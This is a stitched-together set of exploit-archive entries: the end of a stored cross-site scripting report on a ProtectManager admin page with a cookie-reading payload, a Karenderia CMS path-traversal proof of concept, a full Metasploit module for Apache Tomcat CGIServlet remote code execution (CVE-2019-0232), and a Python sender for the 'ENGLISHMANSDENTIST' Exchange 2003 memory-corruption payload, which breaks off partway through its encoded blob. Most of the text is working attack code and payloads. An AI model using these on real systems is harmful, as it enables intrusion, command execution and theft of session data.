Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Content-Type: application/x-www-form-urlencoded
Content-Length: 558
Connection: close

name=%27+oNmouseover%3Dprompt%28document.domain%2Cdocument.cookie%29+%29&description=some_text&userPatterns=test%
40test.com&ipAddresses=192.168.1.1&urlDomains=mail.company.com
&id=41&version=30

Reproduction GET
----------------
GET /ProtectManager/enforce/admin/senderrecipientpatterns/list HTTP/1.1
Host: [snip].com:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://
[snip].com:8443/ProtectManager/enforce/admin/senderrecipientpatterns/recipient_patterns/edit?id=41&version=30
Connection: close

Reproduction Response
---------------------
<div id="messages-section">
  <div class="message-pane alert-pane">
      <div class="alert-message">
        <div class="yui3-g message-pane-scroll">
          <div class="yui3-u-1-24 message-icon">
              <img src="/ProtectManager/graphics/success_icon.gif" alt="Success" width="19" height="19" />
          </div>
          <div class="yui3-u-11-12 wrapping-text">
              <div id="web-status-message-163" class="message-content"> Recipient pattern '' oNmouseover=prompt(document.domain,document.cookie) )' was saved successfully.               </div>
          </div>
          <div class="yui3-u-1-24">
              <div class="message-pane-actions">
          <a href="#" class="message-back-to-element hidden action-icon">
        <img src="/ProtectManager/graphics/general/scroll_back_16.png" alt="" title="Show affected object"/>
          </a>
          <a href="#" class="message-pane-close action-icon">
        <img src="/ProtectManager/graphics/general/cancel_blue_16.png" alt=""  title="Close message bar"/>
          </a>
      </div>
          </div>
        </div>
      </div>
  </div>
</div>
            
===========================================================================================
# Exploit Title: Karenderia CMS 5.1 - LFI Vuln.
# Dork: N/A
# Date: 04-07-2019
# Exploit Author: Mehmet EMIROGLU
# Software Link:
https://codecanyon.net/item/karenderia-multiple-restaurant-system/9118694
# Version: v5.3
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: Karenderia Multiple Restaurant System is a
restaurant food ordering and restaurant membership system.
===========================================================================================
# POC - Frame Inj
# Parameters : f
# Attack Pattern :
%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fproc%2fversion
# GET Method :
http://localhost/kmrs/exportmanager/ajax/getfiles?f=/../../../../../../../../../../proc/version
===========================================================================================
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info={})
    super(update_info(info,
      'Name'            => 'Apache Tomcat CGIServlet enableCmdLineArguments Vulnerability',
      'Description'     => %q{
        This module exploits a vulnerability in Apache Tomcat's CGIServlet component. When the
        enableCmdLineArguments setting is set to true, a remote user can abuse this to execute
        system commands, and gain remote code execution.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Yakov Shafranovich', # Original discovery
          'sinn3r'              # Metasploit module
        ],
      'Platform'        => 'win',
      'Arch'            => [ARCH_X86, ARCH_X64],
      'Targets'         =>
        [
          [ 'Apache Tomcat 9.0 or prior for Windows', { } ]
        ],
      'References'      =>
        [
          ['CVE', '2019-0232'],
          ['URL', 'https://wwws.nightwatchcybersecurity.com/2019/04/30/remote-code-execution-rce-in-cgi-servlet-apache-tomcat-on-windows-cve-2019-0232/'],
          ['URL', 'https://blog.trendmicro.com/trendlabs-security-intelligence/uncovering-cve-2019-0232-a-remote-code-execution-vulnerability-in-apache-tomcat/']
        ],
      'Notes'           =>
        {
          'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability'   => [ CRASH_SAFE ]
        },
      'CmdStagerFlavor' => 'vbs',
      'DefaultOptions'  =>
        {
          'RPORT' => 8080
        },
      'Privileged'      => false,
      'DisclosureDate'  => 'Apr 10 2019', # Date of public advisory issued by the vendor
      'DefaultTarget'   => 0
      ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI path to CGI script', '/'])
      ])

    register_advanced_options(
      [
        OptBool.new('ForceExploit', [false, 'Override check result', false])
      ])

    deregister_options('SRVHOST', 'SRVPORT', 'URIPATH')
  end

  def check
    sig = Rex::Text.rand_text_alpha(10)
    uri = normalize_uri(target_uri.path)
    uri << "?&echo+#{sig}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      vprint_error('No Response from server')
      return CheckCode::Unknown
    end

    if res.body.include?(sig)
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def execute_command(cmd, opts={})
    # Our command stager assumes we have access to environment variables.
    # We don't necessarily have that, so we have to modify cscript to a full path.
    cmd.gsub!('cscript', 'C:\\Windows\\System32\\cscript.exe')

    uri = normalize_uri(target_uri.path)
    uri << "?&#{CGI.escape(cmd)}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => uri
    })

    unless res
      fail_with(Failure::Unreachable, 'No response from server')
    end

    unless res.code == 200
      fail_with(Failure::Unknown, "Unexpected server response: #{res.code}")
    end
  end

  # it seems we don't really have a way to retrieve the filenames from the VBS command stager,
  # so we need to rely on the user to cleanup the files.
  def on_new_session(cli)
    print_warning('Make sure to manually cleanup the exe generated by the exploit')
    super
  end

  def exploit
    print_status("Checking if #{rhost} is vulnerable")
    unless check == CheckCode::Vulnerable
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
      end

      print_warning('Target does not appear to be vulnerable.')
    end

    print_status("#{rhost} seems vulnerable, what a good day.")
    execute_cmdstager(flavor: :vbs, temp: '.', linemax: 7000)
  end
end
            
# Python 2.7 (included with ImmunityDBG)
# Exchange 2003 SP0 base64-MIME memory corruption
# NSA's `ENGLISHMANSDENTIST`
# Platform: Windows Server 2003 R2
# Shout out to the Equation Group, NSA Tailored Access Operations
# Author: Charles Truscott @r0ss1n1
# Shout out to Offensive Security, from Australia with Love




import time
import socket
import base64
import struct


#payload ="eJ8+InlpAQaQCAAEAAAAAAABAAEAAgKQBgAOAAAAAAAAAAAAAAAAAAAAAAAAAAIFkAYAevwAAAEA" + "\r\n"
#payload+="AAANAAE3AQAAAGr8AAALAAAAAAAAAMAAAAAAAABG0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgAD" + "\r\n"
#payload+="AP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAAEAAA/v///wAAAAD+////AAAAAAAAAAD/////" + "\r\n"
#payload+="////////////////////////////////////////////////////////////////////////////" + "\r\n"


def sendpayload(username, password, toaddr, fromaddr):
    englishmansdentist="eJ8+InlpAQaQCAAEAAAAAAABAAEAAgKQBgAOAAAAAAAAAAAAAAAAAAAAAAAAAAIF" + "\r\n"
    englishmansdentist+="kAYAevwAAAEAAAANAAE3AQAAAGr8AAALAAAAAAAAAMAAAAAAAABG0M8R4KGxGuEA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAAQAAAAAAAAAA" + "\r\n"
    englishmansdentist+="EAAA/v///wAAAAD+////AAAAAAAAAAD/////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="////////////////////////////////////////////////////////////////" + "\r\n"
    englishmansdentist+="///////////////////////////////9/////v///wMAAAAEAAAABQAAAAYAAAAH" + "\r\n"
    englishmansdentist+="AAAACAAAAAkAAAAKAAAACwAAAAwAAAANAAAADgAAAA8AAAAQAAAAEQAAABIAAAAT" + "\r\n"
    englishmansdentist+="AAAAFAAAABUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAAcAAAAHQAAAB4AAAAf" + "\r\n"
    englishmansdentist+="AAAAIAAAACEAAAAiAAAAIwAAACQAAAAlAAAAJgAAACcAAAAoAAAAKQAAACoAAAAr" + "\r\n"
    englishmansdentist+="AAAALAAAAC0AAAAuAAAALwAAADAAAAAxAAAAMgAAADMAAAA0AAAANQAAADYAAAA3" + "\r\n"
    englishmansdentist+="AAAAOAAAADkAAAA6AAAAOwAAADwAAAA9AAAAPgAAAD8AAABAAAAAQQAAAEIAAABD" + "\r\n"
    englishmansdentist+="AAAARAAAAEUAAABGAAAARwAAAEgAAABJAAAASgAAAEsAAABMAAAATQAAAE4AAABP" + "\r\n"
    englishmansdentist+="AAAAUAAAAFEAAABSAAAAUwAAAFQAAABVAAAAVgAAAFcAAABYAAAAWQAAAFoAAABb" + "\r\n"
    englishmansdentist+="AAAAXAAAAF0AAABeAAAAXwAAAGAAAABhAAAAYgAAAGMAAABkAAAAZQAAAGYAAABn" + "\r\n"
    englishmansdentist+="AAAAaAAAAGkAAABqAAAAawAAAGwAAABtAAAAbgAAAG8AAABwAAAAcQAAAHIAAABz" + "\r\n"
    englishmansdentist+="AAAAdAAAAHUAAAB2AAAAdwAAAHgAAAB5AAAAegAAAHsAAAB8AAAAfQAAAH4AAAD+" + "\r\n"
    englishmansdentist+="/////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUA//////////8BAAAAAAIIAwAAAADA" + "\r\n"
    englishmansdentist+="AAAAAAAARwAAAAAAAAAAAAAAAAAAAAAAAAAA/v///wAAAAAAAAAAAgBPAGwAZQBQ" + "\r\n"
    englishmansdentist+="AHIAZQBzADAAMAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAABgAAgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAACAAAAWvYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//////" + "\r\n"
    englishmansdentist+="/////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAA" + "\r\n"
    englishmansdentist+="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v///1RDSVAE" + "\r\n"
    englishmansdentist+="AAAAAQAAAP////8IAAAAAAAAAAAAAAC5AwAACfEAAAuwAAAAAABkAGQRAQMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE3haxHRNliGGAbvzqJx6xZojYiJkVM4iYJ3cScHOycUA2Fdy8BK" + "\r\n"
    englishmansdentist+="f+17p+iHAZwsjA2xtPB1qijTh10mC7vH+4tKiK4sgr362avA2iM/hfruFRbWX54m" + "\r\n"
    englishmansdentist+="wr6i+7ZNfrgV94VhRcWHfP//AQH9HGBt2fuL3MGPFvLGXelYUZ57u6P6FRHlf2v2" + "\r\n"
    englishmansdentist+="frsbbId0AcayOyM0NowIxlaEGX8S9g4HSPf4yUaA7yTIXs4Ycxszi9P3M0uJx/Ok" + "\r\n"
    englishmansdentist+="i99mgcr/D0JSagJYzS48BVp077h3MDB0i/qvdeqvdeeL94v7M8lmuQIE86SQKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWVrEdE2WIYYBu/OonHrFmiNiImRUziJgndxJwc7" + "\r\n"
    englishmansdentist+="JxQDYV3LwEp/7Xun6IcBnCyMDbG08HWqKNOHXSYLu8f7i0qIriyCvfrZq8DaIz+F" + "\r\n"
    englishmansdentist+="+u4VFtZfnibCWKL7tk1+uBX3hWFFxYd8/ygAAAAAACgAAAAAqMghK1ndw0IWilQV" + "\r\n"
    englishmansdentist+="Jaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Ph" + "\r\n"
    englishmansdentist+="hb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRd" + "\r\n"
    englishmansdentist+="bR33Wm1olVltzMzMzIiIzMzMEMzMQMzMzIv486SLP15taJVZbe7M5YVsUrMoMczM" + "\r\n"
    englishmansdentist+="zHE7WW38lttxHfdabSgAAAAAm8ghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLIt" + "\r\n"
    englishmansdentist+="WEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1" + "\r\n"
    englishmansdentist+="fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzM" + "\r\n"
    englishmansdentist+="EMzMQMzMzIv486SLP15taJVZbe7M5YVsUrMoMczMKAAAAACayCErWd3DQhaKVBUl" + "\r\n"
    englishmansdentist+="p6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4OzOP1O7t+VCF2/D/+iBu3w+GF" + "\r\n"
    englishmansdentist+="vbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KOA0VsGEITaJVZbQQRWG1kxF1t" + "\r\n"
    englishmansdentist+="HfdabWiVWW3MzMzMiIjMzMwQzMxAzMzMi/jzpIs/Xm1olVlt7szlhWxSsygxzCgA" + "\r\n"
    englishmansdentist+="AAAAmcghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
    englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
    englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMzMQMzMzIv486SLP15t" + "\r\n"
    englishmansdentist+="aJVZbe7M5YVsUrMoMSgAAAAAg8ghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLIt" + "\r\n"
    englishmansdentist+="WEUdUibRVdm0p5b+Dszj9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1" + "\r\n"
    englishmansdentist+="fDFS0yR9tWsq3POijgNFbBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzM" + "\r\n"
    englishmansdentist+="EMzMQMzMKAAAAACCyCErWd3DQhaKVBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV" + "\r\n"
    englishmansdentist+="2bSnlv4OzOP1O7t+VCF2/D/+iBu3w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21" + "\r\n"
    englishmansdentist+="ayrc86KOA0VsGEITaJVZbQQRWG1kxF1tHfdabWiVWW3MzMzMiIjMzMwQzMxAzCgA" + "\r\n"
    englishmansdentist+="AAAAgcghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
    englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
    englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMzMQCgAAAAAf8ghK1nd" + "\r\n"
    englishmansdentist+="w0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj9Tu7flQhdvw/" + "\r\n"
    englishmansdentist+="/ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNFbBhCE2iVWW0E" + "\r\n"
    englishmansdentist+="EVhtZMRdbR33Wm1olVltzMzMzIiIzMzMEMwoAAAAAH7IIStZ3cNCFopUFSWnpqpP" + "\r\n"
    englishmansdentist+="ldVNdxAhh56xU5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECv" + "\r\n"
    englishmansdentist+="ldvS7e93LuhTEOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91pt" + "\r\n"
    englishmansdentist+="aJVZbczMzMyIiMzMzBAoAAAAAHzIIStZ3cNCFopUFSWnpqpPldVNdxAhh56xU5Sy" + "\r\n"
    englishmansdentist+="LVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhTEOmr" + "\r\n"
    englishmansdentist+="dXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbczMzMyIiMzM" + "\r\n"
    englishmansdentist+="KAAAAAB7yCErWd3DQhaKVBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4O" + "\r\n"
    englishmansdentist+="zOP1O7t+VCF2/D/+iBu3w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KO" + "\r\n"
    englishmansdentist+="A0VsGEITaJVZbQQRWG1kxF1tHfdabWiVWW3MzMzMiIjMKAAAAAB6yCErWd3DQhaK" + "\r\n"
    englishmansdentist+="VBUlp6aqT5XVTXcQIYeesVOUsi1YRR1SJtFV2bSnlv4OzOP1O7t+VCF2/D/+iBu3" + "\r\n"
    englishmansdentist+="w+GFvbhAr5Xb0u3vdy7oUxDpq3V8MVLTJH21ayrc86KOA0VsGEITaJVZbQQRWG1k" + "\r\n"
    englishmansdentist+="xF1tHfdabWiVWW3MzMzMiIgoAAAAAHfIIStZ3cNCFopUFSWnpqpPldVNdxAhh56x" + "\r\n"
    englishmansdentist+="U5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhT" + "\r\n"
    englishmansdentist+="EOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbczMzCgA" + "\r\n"
    englishmansdentist+="AAAAdsghK1ndw0IWilQVJaemqk+V1U13ECGHnrFTlLItWEUdUibRVdm0p5b+Dszj" + "\r\n"
    englishmansdentist+="9Tu7flQhdvw//ogbt8Phhb24QK+V29Lt73cu6FMQ6at1fDFS0yR9tWsq3POijgNF" + "\r\n"
    englishmansdentist+="bBhCE2iVWW0EEVhtZMRdbR33Wm1olVltzMwoAAAAAHXIIStZ3cNCFopUFSWnpqpP" + "\r\n"
    englishmansdentist+="ldVNdxAhh56xU5SyLVhFHVIm0VXZtKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECv" + "\r\n"
    englishmansdentist+="ldvS7e93LuhTEOmrdXwxUtMkfbVrKtzzoo4DRWwYQhNolVltBBFYbWTEXW0d91pt" + "\r\n"
    englishmansdentist+="aJVZbcwoAAAAAHTIIStZ3cNCFopUFSWnpqpPldVNdxAhh56xU5SyLVhFHVIm0VXZ" + "\r\n"
    englishmansdentist+="tKeW/g7M4/U7u35UIXb8P/6IG7fD4YW9uECvldvS7e93LuhTEOmrdXwxUtMkfbVr" + "\r\n"
    englishmansdentist+="Ktzzoo4DRWwYQhNolVltBBFYbWTEXW0d91ptaJVZbQMVAKEAZAEAUFBOVAARAE1k" + "\r\n"
    englishmansdentist+="KqgO4dairXoaKqtGJOfathwbviEk01g+FrqVQC8wckkoPtUjqTs5VsOSBi5nf+ny" + "\r\n"
    englishmansdentist+="U03T963UBZmOwuPU0X/ou2wjVlCEYiLotdHK855vUgww0zceuQ+31XNXIuI+y11D" + "\r\n"
    englishmansdentist+="X16wOigAAAAAAAMVAKEAZAEAUFBOVAARAE1IKwzWOSCWPCV85rZc6Tt/Bic0kdxJ" + "\r\n"
    englishmansdentist+="KnwYsZGmkwwH9QGKriYW25N5idOoJP1oGCxx7oUVYD7sEmKczAM0Li8WBLlOSg9t" + "\r\n"
    englishmansdentist+="gZU5KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVqd0dY" + "\r\n"
    englishmansdentist+="NHdIUlBRUEtqN0tqMFVqNTRuNEdQYTRLMEQ5VmtEOVptMEQxMkFLdUdadDdyU1Nt" + "\r\n"
    englishmansdentist+="WkVSQWhsVEZTTkd6WlhNYm1rdE5XMm5WT2dHNlE3cHpRY1UydGNmTjRWeHl4ZTlH" + "\r\n"
    englishmansdentist+="ASgAAAAAAAMVAKEAZAEAUFBOVAARAE1IZDlNYldXaVI5aW14dzRER3Y0RHo4Qkdm" + "\r\n"
    englishmansdentist+="OGx2S0V5V2IyM3RlWWl6Y2FxcnRTa3lRdWxnWDlVTklaNi0Bieaa+DBUb8RDOxea" + "\r\n"
    englishmansdentist+="KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWX08PcTTZVE" + "\r\n"
    englishmansdentist+="HSSId3ObQFK/tjZvYMdReXdBagkt+dxSfjqlhKTKqRHgqRl6gX9BTJ0Fbtx7YMzx" + "\r\n"
    englishmansdentist+="SvFhVjWO8fQu/dQHZTXQ5Gs/QDCItQ7bDjyXSc/20gOUU6J0SHtdYS5Rl6fGAigA" + "\r\n"
    englishmansdentist+="AAAAAAMVAKEAZAEAUFBOVAARAE1IKv3Pv37T+WFIEzFxkT91ZcjmSZ/rcK/Rp7Sd" + "\r\n"
    englishmansdentist+="FqRpV7oGhoKzj99kEWpo1QOKh3l0F4MFDqXB9JA7LKn/vno+unGQYfs9Yh68KAAA" + "\r\n"
    englishmansdentist+="AAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWXvxNPS8bMoUHCm" + "\r\n"
    englishmansdentist+="iOabpiU9hmjMwPfroImROTVCISH+saIKAz7tuTlBZfS70u6kwyrRgEPFcgQowC3G" + "\r\n"
    englishmansdentist+="U4R5BZtlC3GNnVd7oSsBXduahKeGxxD+1CeLZ9s6tYLtzF6DSWouUd7XAygAAAAA" + "\r\n"
    englishmansdentist+="AAMVAKEAZAEAUFBOVAARAE1IUN43jC+5pEXQVQd2wjzQCA1kyvQeSN6TKp+xa88H" + "\r\n"
    englishmansdentist+="4iddD6RlhEZSqUQ+b5rADWh1tDfkj6Zf60u0S+HdlG4+h9YFEDRseBeNKAAAAAAA" + "\r\n"
    englishmansdentist+="LGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWUtOL+19Bm0AhxTLWJl" + "\r\n"
    englishmansdentist+="rvJTvdJ+V4WXtfMkz012B9er1q79L9ph4Z7XKVxpkH55WT4/P+Of63sSLZl7x2RI" + "\r\n"
    englishmansdentist+="7B3STslE8miIqSQcBJZhy8SLVFF7wy1Dtg5nBgTFn8t0pRNpwxwtBCgAAAAAAAMV" + "\r\n"
    englishmansdentist+="AKEAZAEAUFBOVAARAE1IQXixS0511LdVUgbSFCtsFoFtjmaImzF/v1jGfVzUiaMO" + "\r\n"
    englishmansdentist+="yN3JUJuRVdBnMcyTV9mPMfUT1GDfOc4FAVuruVnOQb/zqaIk7ijMKAAAAAAALGQA" + "\r\n"
    englishmansdentist+="lgAGc3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWJQ9KFfPCYCmdPghx66OK8" + "\r\n"
    englishmansdentist+="KOUMMCnvUfFsZh5eLe0Xs3eo+vc88WtseHEH3vFujK+lawXu1RDAZwXOCSljir4n" + "\r\n"
    englishmansdentist+="o+BwjLpVp0q0VFgZqmvBW4PCkPHZ5Jo78eqAKs2xya6GxKQkBSgAAAAAAAMVAKEA" + "\r\n"
    englishmansdentist+="ZAEAUFBOVAARAE1IrafNDc+IursBMTPC9fZt9me1wy4aDgZKJvY4fOxZz+wnJjJi" + "\r\n"
    englishmansdentist+="EAEkf3dHgzG8Fy2t3ICIXIHWcEFPOE2X1IxeVgrYFQuqOzQvKAAAAAAALGQAlgAG" + "\r\n"
    englishmansdentist+="c3lzdGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWWCT/hpjX1FeGERZnCAK/8l952g" + "\r\n"
    englishmansdentist+="aT0FaV4KS0LJtuOxDrTeF6VR/RUBVjTa2p9ZYXDhrweEBMvwdKcC4g4wibgQh7kI" + "\r\n"
    englishmansdentist+="eIgLAemIT+Ka+LXJmy0sOvyZWPox3ornu/qVxST4BrPdBigAAAAAAAMVAKEAZAEA" + "\r\n"
    englishmansdentist+="UFBOVAARAE1IuTOl7XnSU3l37v6UfHjYLyHDpYtBDiIM0CItXoFoacOXe+tWIrPI" + "\r\n"
    englishmansdentist+="bBT16iVOiAe3qBCh/kkT8PiAGZP5SPvY16JSXzwGuZCOKAAAAAAALGQAlgAGc3lz" + "\r\n"
    englishmansdentist+="dGVtKAAAAAAAAxUAoQBkAQBQUE5UABEATWVtTavxi9CfDhvAK8cDT63ro6ZFESTC" + "\r\n"
    englishmansdentist+="fxWSvwRNZCc0tR5u+v2sb9CDR7iKErp1gggHIIRwBI+i3NsRL8OAAthY3jLmqglp" + "\r\n"
    englishmansdentist+="jd7U6iiXjDiZdAgWfey0I+T4kUrnDBHG+mCoFOE5BygAAAAAAAMVAKEAZAEAUFBO" + "\r\n"
    englishmansdentist+="VAARAE1Ib+P6qIgJYFukttXeQEiA/GC0HmL9VX83OmGs61lJ+hty3vfCtzDxfCgW" + "\r\n"
    englishmansdentist+="gPh7L4CzuoRkvUf8BgGRRjZtCHOJFVLaRHpVurxRKAAAAAAALGQAlgAGc3lzdGVt" + "\r\n"
    englishmansdentist+="KAAAAAAAAxUAoQBkAQBQUE5UABEATWUlG51pUdEmvZGWV0NdHeCfrT0q3pzM4mli" + "\r\n"
    englishmansdentist+="LswbKb0hp0JDu2KP0I3Es0JDK2mjIVPPx61ckOcbERWdkVmoUQ0GkUeb49+Sipmo" + "\r\n"
    englishmansdentist+="PCWFXVftRayThgb0kB8fkUrnDBHG+mCoFOE5CCgAAAAAAAMVAKEAZAEAUFBOVAAR" + "\r\n"
    englishmansdentist+="AE1Io/QM3TUHpmdAxzLXJWbh+40NGm0j+uvw73jhgvokhI8WmEamhKs9O2lMOIN+" + "\r\n"
    englishmansdentist+="V9dpP1r6VPGVQ72XPPaXWEolNXLoG9AztSp+KAAAAAAALGQAlgAGc3lzdGVtKAAA" + "\r\n"
    englishmansdentist+="AAAAAxUAoQBkAQBQUE5UABEATWXg5ehsbZLEcpdTHcFOML2iOTL7OvzAPRU3vzSb" + "\r\n"
    englishmansdentist+="wNqLFknyaWbB72UonhNgWYn+9yeLf8kfDmt7Z/uEogxb2WombF1FBfBNV+aFRgqF" + "\r\n"
    englishmansdentist+="qUpoEmvOoMJSJ3WpjSPh8dZ0tyI4jW+tCSgAAAAAAAMVAKEAZAEAUFBOVAARAE1I" + "\r\n"
    englishmansdentist+="F5MnTqkdyXlQV3d72FMpajveqKHUDtfjrnhJwMV/SYf4rkdKjUu4MtB4bbwHwXUh" + "\r\n"
    englishmansdentist+="44t7XuxCzkEGvN/+V6+WgQmXEQvYFVJsKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAA" + "\r\n"
    englishmansdentist+="AxUAoQBkAQBQUE5UABEATWUjCIB9R2L8vQ0kPDATRXYvqR8lKlMjg1lVT8UJX0KA" + "\r\n"
    englishmansdentist+="ueJkyqQT/KPcIawiu6og650LgqfNTWikiaLbkQoeJI5pXfhUZxblr+IvMkfhR2yz" + "\r\n"
    englishmansdentist+="RUXU4cH4mPZfUU2FFDWQOJZ8OQVFCigAAAAAAAMVAKEAZAEAUFBOVAARAE1IF/HT" + "\r\n"
    englishmansdentist+="/fLDttScQrahHw4vJzxO4upyuJt58OabJNqasfwLiykhzIBcBohHSvoDKNxkG7Ey" + "\r\n"
    englishmansdentist+="BblAs9bAFTy+t54ZnROXLwnJig03KAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUA" + "\r\n"
    englishmansdentist+="oQBkAQBQUE5UABEATWUVpiZiAikXLMhyG0yFCJsMQ4UO1PjQ3HltiNA7lA6Ham0W" + "\r\n"
    englishmansdentist+="b6jYH/ZzncI5LNpCBEE5M2OlML+ILYtZXQSOPnPv59Gycu0he3scZJPTZiWF6ome" + "\r\n"
    englishmansdentist+="/TSUCpKaAYyOebRVXV4Hnt8lCygAAAAAAAMVAKEAZAEAUFBOVAARAE1IS0mRyuad" + "\r\n"
    englishmansdentist+="lD2A8KXBTNAGRQZLVfCIL4h2sJW7j2zIVO2hvAM10zsUKCTrysi6VQhyCi8XognO" + "\r\n"
    englishmansdentist+="zqHSTuus6iLQxFCri8zZk04eKAAAAAAALGQAlgAGc3lzdGVtKAAAAAAAAxUAoQBk" + "\r\n"
    englishmansdentist+="AQBQUE5UABEATWX2ZUhJNUr7FNJnAWmMh1ZnGs02I3ULhGlaTMryGYbnb0myWNJI" + "\r\n"
